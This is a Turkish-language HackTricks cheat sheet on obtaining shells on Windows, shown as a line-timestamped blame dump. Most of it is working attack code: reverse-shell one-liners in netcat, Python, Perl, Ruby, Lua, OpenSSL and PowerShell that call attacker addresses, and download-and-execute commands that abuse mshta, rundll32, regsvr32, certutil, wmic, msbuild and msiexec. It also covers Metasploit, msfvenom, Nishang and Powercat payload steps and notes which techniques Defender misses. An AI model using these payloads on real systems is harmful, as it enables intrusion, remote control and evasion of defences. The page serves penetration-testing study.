2024-02-10 18:14:16 +00:00
# Kabuklar - Windows
2022-04-28 16:01:33 +00:00
< details >
2024-03-09 13:37:15 +00:00
< summary > < strong > Sı fı rdan kahraman olmaya kadar AWS hacklemeyi öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Kı rmı zı Takı m Uzmanı )< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-09 13:37:15 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 20:49:23 +00:00
2024-03-09 13:37:15 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atı n!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-03-09 13:37:15 +00:00
* [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imizi(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )**'da takip edin.**
* **Hacking püf noktaları nı zı paylaşarak PR'lar göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
< / details >
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
## Lolbas
2022-04-28 16:01:33 +00:00
2024-03-09 13:37:15 +00:00
[**lolbas-project.github.io** ](https://lolbas-project.github.io/ ) sayfası , Windows için [**https://gtfobins.github.io/** ](https://gtfobins.github.io/ ) gibi bir şeydir.\
Açı kça, **Windows'ta SUID dosyaları veya sudo ayrı calı kları bulunmamaktadı r** , ancak bazı **dizinlerin** nası l (kötüye kullanı larak) **bazı beklenmeyen eylemleri gerçekleştirmek için kullanı labileceğini bilmek yararlı dı r.**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## NC
2020-07-15 15:43:14 +00:00
```bash
nc.exe -e cmd.exe < Attacker_IP > < PORT >
```
2022-10-27 23:22:18 +00:00
## SBD
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
**[sbd](https://www.kali.org/tools/sbd/) taşı nabilir ve güvenli bir Netcat alternatifidir**. Unix benzeri sistemlerde ve Win32'de çalı şı r. Güçlü şifreleme, program yürütme, özelleştirilebilir kaynak portları ve sürekli yeniden bağlanma gibi özelliklere sahip olan sbd, TCP/IP iletişimi için çok yönlü bir çözüm sunar. Windows kullanı cı ları için, Kali Linux dağı tı mı ndan sbd.exe sürümü, Netcat için güvenilir bir alternatif olarak kullanı labilir.
2024-02-07 04:06:18 +00:00
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444
# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
2024-02-10 18:14:16 +00:00
## Python
2020-07-15 15:43:14 +00:00
```bash
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__ (), __ctx.__exit__ (None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__ ': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__ ': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__ ('os', __g, __g))]][0] for __g['socket'] in [(__import__ ('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__ ('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__ ('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__ ('contextlib'))"
```
2022-10-27 23:22:18 +00:00
## Perl
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
Perl, birçok Windows sistemde varsayı lan olarak yüklü gelir. Perl betik dili, Windows üzerinde kabuk oluşturmak için kullanı labilir. Perl betikleri genellikle `.pl` uzantı lı dosyalarda bulunur. Perl kullanarak Windows üzerinde kabuk oluşturmak için çeşitli yöntemler vardı r.
2020-07-15 15:43:14 +00:00
```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while< >;'
```
2022-10-27 23:22:18 +00:00
## Ruby
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
Ruby, açı k kaynaklı , nesne yönelimli bir programlama dilidir. Ruby, basit ve okunabilir sözdizimi ile dikkat çeker. Ruby ile Windows üzerinde çalı şan bir kabuk oluşturmak için `msfvenom` kullanı labilir. Bu, hedef Windows makinesine bir kabuk bağlantı sı sağlar.
2020-07-15 15:43:14 +00:00
```bash
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
2022-10-27 23:22:18 +00:00
## Lua
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
Lua, bir betik dili ve hafif bir çoklu programlama dilidir. Lua, C programlama diline benzer bir sözdizimine sahiptir ve C ile kolayca entegre edilebilir. Lua, oyun geliştirme endüstrisinde sı kça kullanı lan bir dil olup, basit ve hı zlı bir şekilde betikler yazmak için idealdir. Lua, genellikle oyun motorları nda ve diğer uygulamalarda kullanı lan bir betikleme dili olarak tercih edilir.
2020-07-15 15:43:14 +00:00
```bash
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
2022-10-27 23:22:18 +00:00
## OpenSSH
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Saldı rgan (Kali)
2020-07-15 15:43:14 +00:00
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port > #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port2 > #Here yo will be able to get the response
```
2024-03-09 13:37:15 +00:00
### Kurban
2024-02-10 18:14:16 +00:00
2024-03-09 13:37:15 +00:00
Windows üzerinde bir hedef bilgisayarı n kontrolünü ele geçirmek için kullanı lan bir terimdir. Kurban, saldı rganı n hedef bilgisayar üzerinde istediği işlemleri gerçekleştirmesine olanak tanı r.
2020-07-15 15:43:14 +00:00
```bash
#Linux
openssl s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |/bin/bash|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
#Windows
openssl.exe s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |cmd.exe|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
```
2022-10-27 23:22:18 +00:00
## Powershell
2020-07-15 15:43:14 +00:00
```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
2021-03-18 23:05:52 +00:00
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
2020-07-15 15:43:14 +00:00
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
2024-02-10 18:14:16 +00:00
Ağ çağrı sı yapan işlem: **powershell.exe** \
2024-03-09 13:37:15 +00:00
Diskte yazı lmı ş yük: **HAYIR** (_en azı ndan procmon kullanarak bulamadı ğı m yerde!_)
2020-07-15 15:43:14 +00:00
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
2024-03-09 13:37:15 +00:00
Ağ çağrı sı yapan işlem: **svchost.exe** \
Diskte yazı lmı ş yük: **WebDAV istemci yerel önbelleği**
2020-07-15 15:43:14 +00:00
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>& 1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
2024-02-10 18:14:16 +00:00
**Bu belgenin sonunda farklı Powershell Kabukları hakkı nda daha fazla bilgi edinin**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## Mshta
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
* [Buradan ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ )
2020-07-15 15:43:14 +00:00
```bash
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
```bash
mshta http://webserver/payload.hta
```
```bash
mshta \\webdavserver\folder\payload.hta
```
2024-02-10 18:14:16 +00:00
#### **hta-psh ters kabuk örneği (hta kullanarak PS arka kapı indirme ve çalı ştı rma)**
2024-02-07 04:06:18 +00:00
```xml
2024-02-10 18:14:16 +00:00
< scRipt language = "VBscRipT" > CreateObject ( "WscrIpt.SheLL" ) . Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')" < / scRipt >
2020-07-15 15:43:14 +00:00
```
2024-03-09 13:37:15 +00:00
**Koadic zombi dosyası nı stager hta kullanarak çok kolay bir şekilde indirebilir ve çalı ştı rabilirsiniz**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
#### hta örneği
2024-02-05 02:28:59 +00:00
2024-03-09 13:37:15 +00:00
[**Buradan** ](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f )
2024-02-07 04:06:18 +00:00
```xml
2020-07-15 15:43:14 +00:00
< html >
< head >
< HTA:APPLICATION ID = "HelloExample" >
< script language = "jscript" >
2024-02-10 18:14:16 +00:00
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
2020-07-15 15:43:14 +00:00
< / script >
< / head >
< body >
< script > self . close ( ) ; < / script >
< / body >
< / html >
```
2022-10-27 23:22:18 +00:00
#### **mshta - sct**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
[**Buradan** ](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17 )
2024-02-07 04:06:18 +00:00
```xml
2020-07-15 15:43:14 +00:00
<?XML version="1.0"?>
<!-- rundll32.exe javascript:" \.. \mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C: \local \path \scriptlet.sct"")")) -->
< script let >
< public >
< / public >
< script language = "JScript" >
< ![CDATA[
2024-02-10 18:14:16 +00:00
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
2020-07-15 15:43:14 +00:00
]]>
< / script >
< / scriptlet >
```
2024-02-10 18:14:16 +00:00
#### **Mshta - Metasploit**
2020-07-15 15:43:14 +00:00
```bash
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
```
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
2024-02-10 18:14:16 +00:00
**Defender tarafı ndan tespit edildi**
2020-07-15 15:43:14 +00:00
2024-02-07 04:06:18 +00:00
2022-10-27 23:22:18 +00:00
## **Rundll32**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
[**Dll merhaba dünya örneği** ](https://github.com/carterjones/hello-world-dll )
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
* [Buradan ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ )
2020-07-15 15:43:14 +00:00
```bash
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
2024-02-10 18:14:16 +00:00
**Defender tarafı ndan tespit edildi**
2020-07-15 15:43:14 +00:00
**Rundll32 - sct**
2024-02-10 18:14:16 +00:00
[**Buradan** ](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17 )
2024-02-07 04:06:18 +00:00
```xml
2020-07-15 15:43:14 +00:00
<?XML version="1.0"?>
<!-- rundll32.exe javascript:" \.. \mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
< script let >
< public >
< / public >
< script language = "JScript" >
< ![CDATA[
2024-02-10 18:14:16 +00:00
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
2020-07-15 15:43:14 +00:00
]]>
< / script >
< / scriptlet >
```
2022-10-27 23:22:18 +00:00
#### **Rundll32 - Metasploit**
2020-07-15 15:43:14 +00:00
```bash
use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
```
**Rundll32 - Koadic**
```bash
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
```
2022-10-27 23:22:18 +00:00
## Regsvr32
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
* [Buradan ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ )
2020-07-15 15:43:14 +00:00
```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
2024-02-10 18:14:16 +00:00
**Defender tarafı ndan tespit edildi**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
#### Regsvr32 -sct
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
[**Buradan** ](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1 )
2020-07-15 15:43:14 +00:00
```markup
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i: \\webdavserver \folder \regsvr32.sct scrobj.dll -->
< script let >
2024-02-10 18:14:16 +00:00
< registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
< script language = "JScript" >
< ![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
2020-07-15 15:43:14 +00:00
< / script >
< / registration >
< / scriptlet >
```
2024-02-10 18:14:16 +00:00
#### **Regsvr32 - Metasploit**
2020-07-15 15:43:14 +00:00
```bash
use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
2024-03-09 13:37:15 +00:00
**Koadic zombi dosyası nı regsvr stager kullanarak çok kolay bir şekilde indirebilir ve çalı ştı rabilirsiniz**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## Certutil
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
* [Buradan ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ )
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
Bir B64dll indirin, decode edin ve çalı ştı rı n.
2020-07-15 15:43:14 +00:00
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
2024-02-10 18:14:16 +00:00
Bir B64exe indirin, onu çözümleyin ve çalı ştı rı n.
2020-07-15 15:43:14 +00:00
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
2024-02-10 18:14:16 +00:00
**Defender tarafı ndan tespit edildi**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## **Cscript/Wscript**
2020-07-15 15:43:14 +00:00
```bash
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
```
**Cscript - Metasploit**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
```
2024-02-10 18:14:16 +00:00
**Defender tarafı ndan tespit edildi**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## PS-Bat
2020-07-15 15:43:14 +00:00
```bash
\\webdavserver\folder\batchfile.bat
```
2024-03-09 13:37:15 +00:00
Ağ çağrı sı yapan işlem: **svchost.exe** \
Diskte yazı lmı ş yük: **WebDAV istemci yerel önbelleği**
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
```
```bash
\\10.8.0.3\kali\shell.bat
```
2024-02-10 18:14:16 +00:00
**Defender tarafı ndan tespit edildi**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## **MSIExec**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Saldı rgan
2022-10-27 23:22:18 +00:00
```
2020-11-11 00:39:24 +00:00
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
2020-07-15 15:43:14 +00:00
python -m SimpleHTTPServer 80
```
2024-03-09 13:37:15 +00:00
Hedef:
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
2024-02-10 18:14:16 +00:00
**Tespit Edildi**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## **Wmic**
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
* [Buradan ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ ) alı ndı
2024-02-07 04:06:18 +00:00
```bash
2020-07-15 15:43:14 +00:00
wmic os get /format:"https://webserver/payload.xsl"
```
2024-03-09 13:37:15 +00:00
Örnek xsl dosyası [buradan ](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7 ):
2024-02-07 04:06:18 +00:00
```xml
2020-07-15 15:43:14 +00:00
<?xml version='1.0'?>
< style sheet xmlns = "http://www.w3.org/1999/XSL/Transform" xmlns:ms = "urn:schemas-microsoft-com:xslt" xmlns:user = "placeholder" version = "1.0" >
< output method = "text" / >
2024-02-10 18:14:16 +00:00
< ms:script implements-prefix = "user" language = "JScript" >
< ![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
< / ms:script >
2020-07-15 15:43:14 +00:00
< / stylesheet >
```
2024-03-09 13:37:15 +00:00
**Algı lanmadı **
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
**Koadic zombi'sini çok kolay bir şekilde wmic aşaması nı kullanarak indirebilir ve çalı ştı rabilirsiniz**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## Msbuild
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
* [Buradan ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ )
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
2024-03-09 13:37:15 +00:00
Bu teknik, Uygulama Beyaz Listeleme ve Powershell.exe kı sı tlamaları nı atlamak için kullanı labilir. Bir PS kabuğu ile karşı laşacaksı nı z.\
2024-02-10 18:14:16 +00:00
Sadece bunu indirin ve çalı ştı rı n: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj ](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj )
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
```
2024-03-09 13:37:15 +00:00
**Algı lanmadı **
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## **CSC**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Kurban makinede C# kodunu derleyin.
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
2024-02-10 18:14:16 +00:00
İşte temel bir C# ters kabuk indirebilirsiniz: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc ](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc )
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
**Tespit edilmedi**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## **Regasm/Regsvc**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
* [Buradan ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ )
2024-02-07 04:06:18 +00:00
```bash
2020-07-15 15:43:14 +00:00
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
2024-02-10 18:14:16 +00:00
**Denemedim**
2020-07-15 15:43:14 +00:00
2020-12-24 11:57:24 +00:00
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182** ](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182 )
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
## Odbcconf
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
* [Buradan ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ )
2024-02-07 04:06:18 +00:00
```bash
2020-07-15 15:43:14 +00:00
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
2024-02-10 18:14:16 +00:00
**Denemedim**
2020-07-15 15:43:14 +00:00
2020-12-24 11:57:24 +00:00
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2** ](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2 )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## Powershell Kabukları
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
### PS-Nishang
2020-07-15 15:43:14 +00:00
[https://github.com/samratashok/nishang ](https://github.com/samratashok/nishang )
2024-03-09 13:37:15 +00:00
**Kabuklar** klasöründe birçok farklı kabuk bulunmaktadı r. Invoke-_PowerShellTcp.ps1_ dosyası nı indirip çalı ştı rmak için betik dosyası nı n bir kopyası nı oluşturun ve dosyanı n sonuna ekleyin:
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
2024-03-09 13:37:15 +00:00
Sunucuda betiği sunmaya başlayı n ve kurbanı n ucunda çalı ştı rı n:
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
2024-03-09 13:37:15 +00:00
Defender henüz kötü amaçlı kod olarak algı lamı yor (henüz, 3/04/2019).
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
**YAPILACAKLAR: Diğer nishang kabukları nı kontrol et**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
### **PS-Powercat**
2020-07-15 15:43:14 +00:00
2020-12-24 11:57:24 +00:00
[**https://github.com/besimorhino/powercat** ](https://github.com/besimorhino/powercat )
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
İndirin, bir web sunucusu başlatı n, dinleyiciyi başlatı n ve kurbanı n ucunda çalı ştı rı n:
2022-10-27 23:22:18 +00:00
```
2024-02-10 18:14:16 +00:00
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
2020-07-15 15:43:14 +00:00
```
2024-03-09 13:37:15 +00:00
Defender henüz kötü amaçlı kod olarak algı lamı yor (henüz, 3/04/2019).
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
**Powercat tarafı ndan sunulan diğer seçenekler:**
2020-07-15 15:43:14 +00:00
2024-03-09 13:37:15 +00:00
Bağlama kabukları , Ters kabuk (TCP, UDP, DNS), Port yönlendirme, yükleme/indirme, Yük oluşturma, Dosyaları sunma...
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
Serve a cmd Shell:
2024-02-10 18:14:16 +00:00
powercat -l -p 443 -e cmd
2020-07-15 15:43:14 +00:00
Send a cmd Shell:
2024-02-10 18:14:16 +00:00
powercat -c 10.1.1.1 -p 443 -e cmd
2020-07-15 15:43:14 +00:00
Send a powershell:
2024-02-10 18:14:16 +00:00
powercat -c 10.1.1.1 -p 443 -ep
2020-07-15 15:43:14 +00:00
Send a powershell UDP:
2024-02-10 18:14:16 +00:00
powercat -c 10.1.1.1 -p 443 -ep -u
2020-07-15 15:43:14 +00:00
TCP Listener to TCP Client Relay:
2024-02-10 18:14:16 +00:00
powercat -l -p 8000 -r tcp:10.1.1.16:443
2020-07-15 15:43:14 +00:00
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
2024-02-10 18:14:16 +00:00
powercat -c 10.1.1.15 -p 443 -e cmd -g
2020-07-15 15:43:14 +00:00
Start A Persistent Server That Serves a File:
2024-02-10 18:14:16 +00:00
powercat -l -p 443 -i C:\inputfile -rep
2020-07-15 15:43:14 +00:00
```
2022-10-27 23:22:18 +00:00
### Empire
2020-07-15 15:43:14 +00:00
[https://github.com/EmpireProject/Empire ](https://github.com/EmpireProject/Empire )
2024-02-10 18:14:16 +00:00
Bir powershell başlatı cı sı oluşturun, bir dosyaya kaydedin ve onu indirip çalı ştı rı n.
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
